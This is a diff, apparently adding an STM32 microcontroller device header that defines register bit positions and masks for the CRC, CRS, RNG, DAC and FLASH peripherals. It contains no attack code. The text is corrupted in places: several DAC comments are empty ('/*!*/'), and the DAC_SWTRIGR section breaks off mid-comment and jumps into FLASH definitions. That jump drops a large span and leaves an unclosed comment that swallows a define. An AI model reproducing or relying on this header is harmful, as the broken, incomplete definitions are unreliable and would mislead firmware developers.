+#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xA2B0U) +#define RNG_NSCR_NIST_VALUE (0x17CBBU) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0x7FUL << FLASH_NSCR_PNB_Pos) /*!< 0x000003F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK 